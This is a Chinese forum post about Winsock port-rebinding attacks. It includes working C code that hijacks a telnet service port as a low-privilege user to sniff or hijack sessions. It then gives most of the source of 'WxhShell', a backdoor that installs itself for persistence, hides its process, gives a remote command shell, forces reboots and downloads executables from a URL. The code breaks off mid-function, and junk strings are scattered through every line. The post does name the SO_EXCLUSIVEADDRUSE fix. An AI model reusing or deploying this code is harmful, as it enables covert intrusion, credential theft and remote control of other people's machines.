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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oh@Ha?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n @,.  
7A) E4f'  
  saddr.sin_family = AF_INET; X# /c7w-  
rLE+t(x(0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ##} 7cFX  
A2;6Vz=z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G')zDx  
rL&Mq}7QK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Yg,;l-1  
c&x1aF "B  
  这意味着什么?意味着可以进行如下的攻击: 74a@/'WbE  
oam;hmw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o(H.1ESk  
Vh>cV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rlA/eQrS  
1D3 8T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Dx`-h#  
0AdxV?6z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Fi;H   
^8A [ ^cgq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !%D';wQ,/  
!nvg:$.&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x}nBU q:  
@g4o8nH}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *nHuGla  
3!osQ1  
  #include {y a .  
  #include zsd1n`r  
  #include 6}?d%K  
  #include    p:K%-^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4obW>  
  int main() \gB ~0@[\7  
  { #r]Z2Y]  
  WORD wVersionRequested; w^ OB  
  DWORD ret; 096Yd=3h  
  WSADATA wsaData; H17I" 5N  
  BOOL val; xb<|m2<)H  
  SOCKADDR_IN saddr; 1DhC,)+D}q  
  SOCKADDR_IN scaddr; d6 ef)mw  
  int err; vV*J;%MO  
  SOCKET s; )XGz#C_P  
  SOCKET sc; Lt=32SvTn  
  int caddsize; \/?J)k3H.  
  HANDLE mt; =4co$oD}  
  DWORD tid;   l_yF;5|?z  
  wVersionRequested = MAKEWORD( 2, 2 ); ;>f\fhi'  
  err = WSAStartup( wVersionRequested, &wsaData ); 3l45(%g+  
  if ( err != 0 ) { (XW'1@b  
  printf("error!WSAStartup failed!\n"); E5@=LS  
  return -1; y`j=(|DV  
  } vq^';<Wh.  
  saddr.sin_family = AF_INET; *i^$xjOa  
   ]K*R[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gwQMy$  
iB"ji4[z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); abm 3q!a-  
  saddr.sin_port = htons(23); Um 6}h@>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lZ.lf.{F  
  { TH'8^wf  
  printf("error!socket failed!\n"); [A/2 Ms  
  return -1; X-_VuM_p  
  } l>b'b e9  
  val = TRUE; .=TXi<8Brw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  \20} /&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0VSIyG_Z  
  { "n` z`{<n  
  printf("error!setsockopt failed!\n"); <<CWN(hQWO  
  return -1; !CcDA/0  
  } yDKH;o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7/51_=%kR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DAP/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .ex;4( -!  
!?0C(VL(:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;'8Wl  
  { N+B!AK0.  
  ret=GetLastError(); HXSryjF?  
  printf("error!bind failed!\n"); ~{tO8 ]  
  return -1; |xcC'1WU  
  } Qd kus 214  
  listen(s,2); QfAmGDaYQ  
  while(1) v9-4yZU^WR  
  {  IPK1g3Z  
  caddsize = sizeof(scaddr); xh$yXP0/  
  //接受连接请求 vm_]X{80;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [B+F}Q^;  
  if(sc!=INVALID_SOCKET) B I)@n:p  
  { qvB{vU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |cY,@X,X6  
  if(mt==NULL) ufIvvZ*  
  { 9!Q ZuZY  
  printf("Thread Creat Failed!\n"); /go[}X5QR[  
  break;  gmbRH5k  
  } 8I RKCuV  
  } n|&=6hiI  
  CloseHandle(mt); X5[vQ3^  
  } qi7C.w;  
  closesocket(s); GHd1?$  
  WSACleanup(); ^ExuIe  
  return 0; hE5?G;  
  }   o cW~I3  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6,q_ M(;c  
  { 8+}rm6Y+  
  SOCKET ss = (SOCKET)lpParam; <3BGW?=WP  
  SOCKET sc; \WFcb\..  
  unsigned char buf[4096]; XZARy:+bc  
  SOCKADDR_IN saddr; H Eq{TUTr  
  long num; ;9mRumLG"  
  DWORD val; 1g{}O^ul  
  DWORD ret; C 8wGbU6`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 = NZgbl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f0sLe 3  
  saddr.sin_family = AF_INET; $&Vba@v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZH;4e<gg  
  saddr.sin_port = htons(23); TS9<uRO0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (LmU\Pe%  
  { (~N?kh:  
  printf("error!socket failed!\n"); S,6/X.QBv  
  return -1; zgEN2d  
  } 0 a{hCx|$J  
  val = 100; By8SRWs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;!S5P(  
  { #0b:5.vy  
  ret = GetLastError(); X/2GTU7?  
  return -1; sED"}F)  
  } (FApkvy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c86KDEF  
  { uq s   
  ret = GetLastError(); !'^l}K>  
  return -1; 4jebx jZ  
  } p4f9v:b[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Qd$@  m  
  { g{6jN  
  printf("error!socket connect failed!\n"); oio{@#DX`  
  closesocket(sc); ]VKQm(,0  
  closesocket(ss); eZ(ThA*2=t  
  return -1; Gm:s;w-;v  
  } EGt 50  
  while(1) er7(Wph  
  { (Q=o 9o:b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SkmTW@v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CYy=f-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -_t4A *  
  num = recv(ss,buf,4096,0); XJeWhk3R9  
  if(num>0) ptT-{vG  
  send(sc,buf,num,0); :Q("  
  else if(num==0) F*@2)  
  break; iKrk?B<  
  num = recv(sc,buf,4096,0); uM1$3<  
  if(num>0) #W)m({}  
  send(ss,buf,num,0); ?g4Rk9<!i  
  else if(num==0) |Qcz5M90e  
  break; 9&f+I@K  
  } T,9q~*"  
  closesocket(ss); S!u8JG1  
  closesocket(sc); PY7H0\S)  
  return 0 ; \f^xlX3&`  
  } {guOAT- w  
?K7uy5Y  
r6uN6XCM  
========================================================== qH4|k 2Lm  
}wiyEVAh{  
下边附上一个代码,,WXhSHELL *w4#D:g  
@ !su7  
========================================================== k*N!U[]  
!38KHq^|&  
#include "stdafx.h" UU>+b:  
P*iC#w]m  
#include <stdio.h> bI:W4y>I=  
#include <string.h> G3^<l0?S  
#include <windows.h> Z[*unIk  
#include <winsock2.h> p =nbsS~":  
#include <winsvc.h> 5Z_C (5)/Y  
#include <urlmon.h> f4P({V  
a`xAk ^w+  
#pragma comment (lib, "Ws2_32.lib") O$6&4p*F.  
#pragma comment (lib, "urlmon.lib") .c}+kHv  
RR[zvH} E  
#define MAX_USER   100 // 最大客户端连接数 )TiM>{  
#define BUF_SOCK   200 // sock buffer T}^3Re`i  
#define KEY_BUFF   255 // 输入 buffer b_nE4>  
41Q 5%2  
#define REBOOT     0   // 重启 Pp!4Ak4TT9  
#define SHUTDOWN   1   // 关机 7BU7sQjs  
gyAJ#N|  
#define DEF_PORT   5000 // 监听端口 :5&D 6  
xD&n'M]  
#define REG_LEN     16   // 注册表键长度 ;G8H' gM07  
#define SVC_LEN     80   // NT服务名长度 kHhp;<  
Ny7*MZ-  
// 从dll定义API Z C01MDIY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _*e_? ]G-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TSewq4`K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vc"!3x-G*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I9G^T' W  
0ex.~S_Oj4  
// wxhshell配置信息 J78.-J5 j0  
struct WSCFG { [k%hl`}  
  int ws_port;         // 监听端口 3E;@.jD  
  char ws_passstr[REG_LEN]; // 口令 KHZ[drb6$  
  int ws_autoins;       // 安装标记, 1=yes 0=no .kU^)H" l  
  char ws_regname[REG_LEN]; // 注册表键名 $|g1 _;(G  
  char ws_svcname[REG_LEN]; // 服务名 (CIcM3|9C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G-)e(u   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K0( S%v|,}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iS+"Jsz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i!}k5k*Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 082iE G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dV B#Np  
Z S=H1  
}; ;GG,Z#\m  
=>5Lp  
// default Wxhshell configuration BM?!?  
struct WSCFG wscfg={DEF_PORT, fdK E1,;  
    "xuhuanlingzhe", +_fFRyu>  
    1, EP@u4F  
    "Wxhshell", oH6zlmqG"  
    "Wxhshell", ZH\t0YhrVe  
            "WxhShell Service", (4 ZeyG@  
    "Wrsky Windows CmdShell Service", o+{,>t  
    "Please Input Your Password: ", AA[1[  
  1, Jfr'OD2$ %  
  "http://www.wrsky.com/wxhshell.exe", FCNYfjB%  
  "Wxhshell.exe" 5n2!Y\  
    }; /xJD/"Y3&  
w*XM*yJHU  
// 消息定义模块  4 Pc-A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %pq.fZ I   
char *msg_ws_prompt="\n\r? for help\n\r#>"; G?$o+Y'F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <$-^^b(y  
char *msg_ws_ext="\n\rExit."; hT-^1 :N  
char *msg_ws_end="\n\rQuit."; _Sd^/jGpU  
char *msg_ws_boot="\n\rReboot..."; )-!)D  
char *msg_ws_poff="\n\rShutdown..."; ~xxq.rL"  
char *msg_ws_down="\n\rSave to "; D^O[_/i&  
%" bI2  
char *msg_ws_err="\n\rErr!"; &2u |7U.  
char *msg_ws_ok="\n\rOK!"; \u`P(fI!K%  
69r%b7#  
char ExeFile[MAX_PATH]; HL"c yxe  
int nUser = 0; !Q|a R  
HANDLE handles[MAX_USER]; G3TS?u8Q  
int OsIsNt; dT'}:2  
*B!Ox}CI.L  
SERVICE_STATUS       serviceStatus; JR]elRR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0=HB!{ @  
&j:prc[W  
// 函数声明 'e]>lRZ  
int Install(void); >gzM-d  
int Uninstall(void); m   uO.  
int DownloadFile(char *sURL, SOCKET wsh); K!CVS7  
int Boot(int flag); 5B:"$vC{=  
void HideProc(void); QEqYqAGzu|  
int GetOsVer(void); / Q@4HV  
int Wxhshell(SOCKET wsl); eG(YORkR  
void TalkWithClient(void *cs);  DlCN  
int CmdShell(SOCKET sock); Wo&22,EB  
int StartFromService(void); +I5\ `By=  
int StartWxhshell(LPSTR lpCmdLine); uxL+oP0  
QDYuJ&!h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C2rG3X^~Jm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l[[`-f8j  
_Kaqx"D  
// 数据结构和表定义 BN]o!Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ku m@cA  
{ f3! Oc  
{wscfg.ws_svcname, NTServiceMain}, %TN$   
{NULL, NULL} ,YM=?No  
}; rR@]`@9  
l=XZBe*[g'  
// 自我安装 ?@@$)2_*u  
int Install(void) F>{bVPh VA  
{ #g$I>\O<  
  char svExeFile[MAX_PATH]; )wjpxr  
  HKEY key; ru`7iqcz  
  strcpy(svExeFile,ExeFile); DDmC3  
TU_'1  
// 如果是win9x系统,修改注册表设为自启动 0cB]:*W  
if(!OsIsNt) { WDxcV%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yWZ_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [x 7Rq_^  
  RegCloseKey(key); gnN>Rl 5_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! U@ETo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NqF*hat  
  RegCloseKey(key); KtAEM;g  
  return 0; [\Wl~ a l  
    } moFrNcso  
  } Zex~ $r  
} cG0)F%?X?  
else { fsOlg9  
PtuRXx  
// 如果是NT以上系统,安装为系统服务 31^/9lb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 90+Vw`Gz=  
if (schSCManager!=0) +arh/pd_I  
{  j7_,V?5z  
  SC_HANDLE schService = CreateService r+%3Y:dZE  
  ( > )Qq^?U  
  schSCManager, 66>X$nx(z  
  wscfg.ws_svcname, _)vX_gCi  
  wscfg.ws_svcdisp, KF *F  
  SERVICE_ALL_ACCESS, NaoOgZ?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _`=qc/-0  
  SERVICE_AUTO_START, ?pJ2"/K   
  SERVICE_ERROR_NORMAL, Ma?uB8o+~  
  svExeFile, $9\8?gS  
  NULL, HHw&BNQG  
  NULL, ][Tw^r&  
  NULL, {nSgiqd"28  
  NULL, oVk!C a  
  NULL  Yf[Cmn  
  ); %6lGRq{/?  
  if (schService!=0) uHquJQ4  
  { ^[[@P(e>  
  CloseServiceHandle(schService); -T+YMAFU_  
  CloseServiceHandle(schSCManager); bhRa?wuoY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :I?lT2+ea  
  strcat(svExeFile,wscfg.ws_svcname); *j(fk[,i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4S>#>(n7=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q3+%8zZI  
  RegCloseKey(key); ? XVE {N  
  return 0; bh8GP]*E|  
    } ]GRVU  
  } @)Vb?|3  
  CloseServiceHandle(schSCManager); .&]3wB~  
} x!S}Y"  
} p?Ux1S  
]{i0?c  
return 1; .DwiIr'  
} j# c@dze  
H{E(=S  
// 自我卸载 tAjT-CXg  
int Uninstall(void) PQ!'<  
{ "(H%m9K  
  HKEY key; =1>G * ,  
c9H6\&  
if(!OsIsNt) { 7C2Xy>d~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dh{py  
  RegDeleteValue(key,wscfg.ws_regname); Da! fwth  
  RegCloseKey(key); /C`AA/@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (@T{ [\  
  RegDeleteValue(key,wscfg.ws_regname); JK{2 hr_a  
  RegCloseKey(key); kQ\l7xd  
  return 0; o\tw)_ >  
  } =?Co<972Z  
} Q!-"5P X  
}  1l}Am>}  
else { DZESvIES  
dXn$XGF%R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -k>k<bDAI  
if (schSCManager!=0) yp]vDm  
{ Z 5 .cfI[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NV{= tAR  
  if (schService!=0) xZq, kP^  
  { ?gU - a  
  if(DeleteService(schService)!=0) { jl;N Fk%  
  CloseServiceHandle(schService); l8Yr]oNkz  
  CloseServiceHandle(schSCManager); yhK9rcJq6}  
  return 0; -=:tlH n  
  } yIpgZ0:h  
  CloseServiceHandle(schService); #Sy~t{4  
  } GdScYAC   
  CloseServiceHandle(schSCManager); _{LmJ?!  
} 7]5+%[Dg!  
} ~PpU'[  
!: vQg+S  
return 1; "_dJ4<8  
} 4u2_xbT  
#EKnjh=Uq  
// 从指定url下载文件 e=jtF"&  
int DownloadFile(char *sURL, SOCKET wsh) qoph#\  
{ FbdC3G|oA  
  HRESULT hr; C_[ d  
char seps[]= "/"; ?<0'h{zNy  
char *token; 3M^`6W[;  
char *file; ze+S_{  
char myURL[MAX_PATH]; =fy.'+  
char myFILE[MAX_PATH]; ]t17= Lr?  
1G(wESe  
strcpy(myURL,sURL); 2,|@a\H  
  token=strtok(myURL,seps); G'HLnx}Yi  
  while(token!=NULL) N1n\tA?  
  { h52+f  
    file=token; Pa; *%7  
  token=strtok(NULL,seps); Cx) N;x  
  } h4slQq~K  
)=N.z6?  
GetCurrentDirectory(MAX_PATH,myFILE); h_Er$ZT64  
strcat(myFILE, "\\"); L^s?EqLXS  
strcat(myFILE, file); RHu,t5,  
  send(wsh,myFILE,strlen(myFILE),0); z&qOu8Jh  
send(wsh,"...",3,0); Ra~:O\Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /3"S_KE1@+  
  if(hr==S_OK) &7,/^ >">  
return 0; M-!#-l  
else Z +<Y.*6  
return 1; FNl^ lj`Y  
,:81DA  
} $Ixd;`l*  
da8 R.1o  
// 系统电源模块 ~Ty6]A  
int Boot(int flag) hg+;!|ha  
{ FFN.9[Ly  
  HANDLE hToken; O1]XoUH<  
  TOKEN_PRIVILEGES tkp; <dk9n}y<,  
!C.{nOfyv  
  if(OsIsNt) { G<*h,'B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )gR3S%Ju  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dt>!=<|k  
    tkp.PrivilegeCount = 1; Z%-uyT@a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6|Rj YX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w' 5W L  
if(flag==REBOOT) { gr>FLf   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R,zp&L  
  return 0; 4 >D5t)254  
} h!hv{c  
else { +hT9V1'-D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5'0kf7  
  return 0; >R/^[([;]  
} n;dWb$:  
  } \>eFs} Y/  
  else { D>wo>,G  
if(flag==REBOOT) { .B$3y#TOb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WN#dR~>  
  return 0; LGCeYXic  
} %ZlnGr  
else { y2C/DyuAY|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \g@jc OKU  
  return 0; L\<J|87p?  
} Lhgs|*M  
} g{7?#.7  
'Cywn^Ym#  
return 1; TF,a `?c`  
} JnH5v(/  
6tM@I`l  
// win9x进程隐藏模块 .aIFm5N3?  
void HideProc(void) lU3Xd_v O  
{ %x$mAOUv  
0I.!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'V Y\ut  
  if ( hKernel != NULL ) K;f=l5  
  { A`b )7+mB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }% ?WS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9**u\H)P6  
    FreeLibrary(hKernel); D_cd l^  
  } D-5~CK4`  
~/R}K g(  
return; nx4E}8!Lh  
} t== a(e  
RQ51xTOL4]  
// 获取操作系统版本 'nqVcNgb  
int GetOsVer(void) "}UYsXg  
{ %gx>|  
  OSVERSIONINFO winfo; tgm(tDL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yf^/YLLS  
  GetVersionEx(&winfo); O[')[uo8s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gq?~*4H  
  return 1; n %P,"V  
  else Rv+p4RgA  
  return 0; ?x =Sm|Ej  
} x6*.zo5e  
9\NP)Vm$^  
// 客户端句柄模块 SVyJUd_  
int Wxhshell(SOCKET wsl) #9hSo  
{ 3qH`zYgh  
  SOCKET wsh; 3_k3U  
  struct sockaddr_in client; N_8L8ds5  
  DWORD myID; [$GQ]Y  
?B,B<@='%  
  while(nUser<MAX_USER) s}Sxl0  
{ x1*@PiO,.  
  int nSize=sizeof(client); Z{.L_ ]$ I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \U'TL_Ql  
  if(wsh==INVALID_SOCKET) return 1; 5'O.l$)y  
7llEB*dSA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }\\6"90g*  
if(handles[nUser]==0) T]J#>LBd  
  closesocket(wsh); ]z/  
else 'Xzi$}E D  
  nUser++; ^-7{{/  
  } H~"XlP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); / k8;k56  
+^.Q%b0Xx  
  return 0; /T2f~1R  
} x?Oc<CQ-2  
,TxZ:f`"  
// 关闭 socket uv dx>5]  
void CloseIt(SOCKET wsh) A&fh0E (t  
{ c )o[3o7  
closesocket(wsh); ]^\+B4  
nUser--; q&wXs/$a  
ExitThread(0); \it<]BN  
} ,o j\=2  
u~d&<_Z  
// 客户端请求句柄 DK;/eZe  
void TalkWithClient(void *cs) 0CO6-&F9n  
{ TS<uBX  
IyA8+N y  
  SOCKET wsh=(SOCKET)cs; ?`O Dt]s  
  char pwd[SVC_LEN]; YPq`su7m9  
  char cmd[KEY_BUFF]; zuZlP  
char chr[1]; &gR)bNIC_=  
int i,j; H}c, P('  
P%Ux-0&  
  while (nUser < MAX_USER) { *8CE0;p'k  
Q,`Y  
if(wscfg.ws_passstr) { CSooJ1Ep~'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iq[,)$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ /(H%f&  
  //ZeroMemory(pwd,KEY_BUFF); a?!Joi[  
      i=0; NeyGIEP  
  while(i<SVC_LEN) { /`Lki>"  
W\<5'9LNb  
  // 设置超时 HCifO  
  fd_set FdRead; ,Pd2ZfZ  
  struct timeval TimeOut;  0-+`{j  
  FD_ZERO(&FdRead); Vkb&' rXw+  
  FD_SET(wsh,&FdRead); ^i^S1h"  
  TimeOut.tv_sec=8; j{'@g[HW  
  TimeOut.tv_usec=0; gB@Wv9 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w65 $ R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;3_Q7;y  
~qT+sc!t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  '[#uf/~W  
  pwd=chr[0]; P5P<-T{-c  
  if(chr[0]==0xd || chr[0]==0xa) { rbP3&L  
  pwd=0; :r/rByd'  
  break; *lG$B@;rc|  
  } y!^RL,HIL  
  i++; /(nA)V( :  
    }  U\~[  
qO9_ e  
  // 如果是非法用户,关闭 socket <`9:hPp0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \rf1#Em  
} t>v']a +k  
EH$wW l^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i,,>@R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z[ ;{p.W  
 . yu  
while(1) { (<.1o_Q-LU  
+T^m  
  ZeroMemory(cmd,KEY_BUFF); WiviH#hF  
Ahq^dx#o  
      // 自动支持客户端 telnet标准   #PA"l` "  
  j=0; 6CU8BDN  
  while(j<KEY_BUFF) { aTs_5q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^HL#)fK2I  
  cmd[j]=chr[0]; XfsCu>  
  if(chr[0]==0xa || chr[0]==0xd) { X>|.BvY|  
  cmd[j]=0; ]3QQ"HLcp  
  break; knBT(x'+  
  } 6<t\KMd  
  j++; 73.o{V  
    } 6v1#i  
%9NGVC  
  // 下载文件 g}qK$>EPS  
  if(strstr(cmd,"http://")) { vFCp= 8h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oa1a5+ A  
  if(DownloadFile(cmd,wsh)) ,?#-1uIGL>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +dh]k=6  
  else y_QxJ~6t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1=(i{D~  
  } |$b4 {  
  else { C.(ZXU7  
`?6m0|\@  
    switch(cmd[0]) { L6A6|+H%E  
  sq)Nn&5A  
  // 帮助 G:e}>'  
  case '?': { 3^su%z_%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U0N[~yW(t1  
    break; ]aakEU  
  } d=4MqX r  
  // 安装 d$2{_6  
  case 'i': { "| Q&  
    if(Install()) 3iEcLhe"4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BS|-E6E<  
    else dadMwe_l0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w pCS]2  
    break; (x$k\H  
    } 8w*fg6,=  
  // 卸载 aQ~x$T|  
  case 'r': { Mm[%v t40  
    if(Uninstall()) &1':s|c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jc%>=`f  
    else &&<^wtznO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !J6s^um  
    break; CWN=6(y  
    } X7 Za Q .  
  // 显示 wxhshell 所在路径 _RmE+Xg2  
  case 'p': { [X~X?By>  
    char svExeFile[MAX_PATH]; 7e=a D~f  
    strcpy(svExeFile,"\n\r"); \qTn"1b Q  
      strcat(svExeFile,ExeFile); 7R2)Klt  
        send(wsh,svExeFile,strlen(svExeFile),0); 9vj:=,TNu  
    break; R&alq  
    } 4*9Dh  
  // 重启 F#<P FT4i  
  case 'b': { .$OInh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h.Dk>H_G  
    if(Boot(REBOOT)) r?+u}uH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Bwea];^Q  
    else { 8DI|+`OgW  
    closesocket(wsh); 7kwG_0QO  
    ExitThread(0); p.}[!!m P  
    } p4AXQuOP  
    break; e-K8K+7  
    } q-3KF  
  // 关机 D&^:hs@  
  case 'd': { k?8W2fC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JZnWzqFw  
    if(Boot(SHUTDOWN)) 0Its;|  
